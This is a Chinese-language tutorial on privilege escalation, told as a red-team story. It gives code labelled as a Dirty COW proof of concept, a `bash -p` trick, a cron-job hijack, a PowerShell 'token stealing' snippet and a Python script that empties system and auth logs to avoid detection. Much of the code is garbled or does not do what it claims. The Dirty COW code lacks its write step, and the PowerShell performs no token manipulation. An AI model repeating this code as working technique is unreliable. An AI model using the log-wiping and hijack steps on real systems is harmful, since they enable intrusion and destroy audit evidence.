一、从一个真实渗透案例开始

在某次红队行动中,我接触到一个非常有趣的场景。我们在对目标企业进行信息收集时发现,其内部系统存在一个没有完全修复的服务漏洞。通过这个漏洞,我们成功地进入到目标系统,但权限非常有限,仅为基本的用户级别。这意味着我们无法直接访问关键数据,也无法进行深度的网络探索。因此,我们需要利用权限提升技术来扩大攻势,达到我们的实战目标。

0x01 权限提升的背景与原理

权限提升是指在获得系统访问的初步权限后,通过各种技术手段提升自己的权限,以便执行更高级的操作。在操作系统中,一般会有不同级别的权限,比如普通用户、管理员、系统级权限等。攻击者通常需要从低权限向高权限提升,以获得对目标系统的全面控制。

漏洞成因:权限提升漏洞通常是由于系统配置不当、应用程序漏洞或操作系统自身的缺陷造成的。常见的成因包括:

  • 未正确设置的文件权限:允许用户访问或修改敏感文件。
  • 服务的错误配置:某些服务以高权限运行但可以被低权限用户控制。
  • 内核漏洞:操作系统内核本身存在能被利用的漏洞。

0x02 探索实战环境搭建

为了演示权限提升技术,我们需要搭建一个实验环境。这个环境包括一台运行着易受攻击服务的虚拟机,以及一个用于攻击的攻击机。目标虚拟机可以使用Metasploitable2,它是一个专门设计用于渗透测试的易受攻击Linux系统。

环境搭建步骤:

  1. 安装虚拟机管理软件:如VirtualBox或VMware。
  2. 下载并导入Metasploitable2虚拟机:这个虚拟机可以从网上下载,它预装了多个漏洞服务。
  3. 配置网络环境:确保攻击机可以与Metasploitable2虚拟机通信。可以选择桥接模式或NAT模式。
  4. 启动靶机:确保Metasploitable2运行并且相关漏洞服务启动。

0x03 权限提升的武器库

在进行权限提升时,我们需要选择合适的武器,这包括各种漏洞利用工具和技术。以下是一些常用的方法:

技术一:内核漏洞攻击

内核漏洞是操作系统权限提升的重要途径之一。利用内核漏洞可以从用户权限直接跃升至系统权限。常用工具包括Linux的Dirty COW漏洞,以下是一个简单的POC代码:

黑客示意图

<pre><code class="language-c">#include &lt;stdio.h&gt;

include &lt;stdlib.h&gt;

include &lt;fcntl.h&gt;

include &lt;string.h&gt;

include &lt;sys/mman.h&gt;

include &lt;pthread.h&gt;

include &lt;unistd.h&gt;

define PATH &quot;/etc/passwd&quot;

void *map; int f;

void madviseThread(void arg) { int i; for (i = 0; i &lt; 10000000; i++) { madvise(map, 100, MADV_DONTNEED); } return NULL; }

int main(int argc, char *argv[]) { f = open(PATH, O_RDONLY); map = mmap(NULL, 100, PROT_READ, MAP_PRIVATE, f, 0);

pthread_t pth; pthread_create(&amp;pth, NULL, madviseThread, NULL); pthread_join(pth, NULL);

黑客示意图

printf(&quot;Exploit completed\n&quot;); return 0; }</code></pre>

技术二:Bash Shell的利用

某些系统中,bash shell脚本可能配置不当导致可以提升权限。以下是一段利用bash的POC代码:

<pre><code class="language-bash">#!/bin/bash echo &quot;Running with elevated privileges&quot; bash -p # -p 参数可以避免权限降低</code></pre>

技术三:计划任务的劫持

计划任务是权限提升的经典方法之一。攻击者可以伪装恶意任务并获得高权限执行。以下是使用Python创建一个计划任务的示例:

<pre><code class="language-python">import os

def create_task(): task_cmd = &quot;echo &#039;python -c \&quot;import os; os.system(\\\&quot;whoami\\\&quot;)\&quot;&#039; &gt; /tmp/task.sh&quot; os.system(task_cmd) os.system(&quot;chmod +x /tmp/task.sh&quot;) os.system(&quot;(crontab -l; echo &#039; * /tmp/task.sh&#039;) | crontab -&quot;)

create_task()</code></pre>

0x04 绕过及隐身技术

黑客示意图

在进行权限提升时,攻击者需要考虑如何绕过系统的安全检测,避免被发现。以下是一些常用的技术:

技术一:权限隐藏

在Windows系统中,可以利用 Access Token Manipulation 来隐藏高权限进程。利用工具如Token Stealing可以伪装权限,以下是一个简单的PowerShell代码示例:

<pre><code class="language-powershell"># 切换到高权限 $token = [Security.Principal.WindowsIdentity]::GetCurrent().Token $process = New-Object System.Diagnostics.Process $process.StartInfo.FileName = &quot;cmd.exe&quot; $process.StartInfo.UseShellExecute = $false $process.StartInfo.RedirectStandardInput = $true $process.StartInfo.RedirectStandardOutput = $true $process.StartInfo.CreateNoWindow = $true $process.Start()</code></pre>

技术二:日志清除

提升权限后,攻击者通常会清除日志以避免被检测到。使用以下Python代码可以清除Linux系统的日志:

<pre><code class="language-python">import os

def clear_logs(): log_files = [&quot;/var/log/syslog&quot;, &quot;/var/log/auth.log&quot;] for log in log_files: os.system(f&quot;cat /dev/null &gt; {log}&quot;)

clear_logs()</code></pre>

0x05 权限提升的防御策略

在了解攻击技术后,我们还需要知道如何防御这些攻击。以下是一些常见的防御措施:

  1. 定期检查文件与目录权限:确保没有不必要的高权限配置。
  2. 更新系统与软件:及时更新以修补已知漏洞。
  3. 监控计划任务:审查系统的计划任务,防止恶意任务执行。
  4. 使用EDR解决方案:增强对系统行为的实时监控。

黑客示意图

0x06 个人经验分享

在实战中,权限提升不仅仅是技术上的挑战,更是思维上的考验。一个成功的权限提升不单依赖于工具的使用,更依赖于对目标系统的深度理解。通过不断学习和实践,你将提升自己的攻击能力。在红队行动中,保持灵活性和创新性是关键。

总结:权限提升是渗透测试中不可或缺的一环,通过掌握各种技术和策略,你将能够在实战中取得更大的突破。希望这篇文章提供的技术和方法能够帮助你在安全领域更进一步。记住,安全测试必须在授权下进行,切勿非法使用这些技术!